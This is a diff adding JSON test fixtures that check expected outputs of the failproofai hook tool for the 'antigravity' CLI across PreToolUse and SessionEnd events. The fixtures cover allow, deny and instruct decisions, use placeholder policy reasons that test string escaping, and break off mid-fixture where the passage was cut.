+1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1ad89b6d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..bc6fba99 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8d2ca566 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c8910954 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d438f85b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..428fbc97 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..9300b726 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..84dab5af --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9510c4f9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6192f975 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b2412bc2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a5e52e5e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..dfce07dd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fce9e4f3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..26db9777 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..49e32670 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5cbe8397 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b4f288d9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": 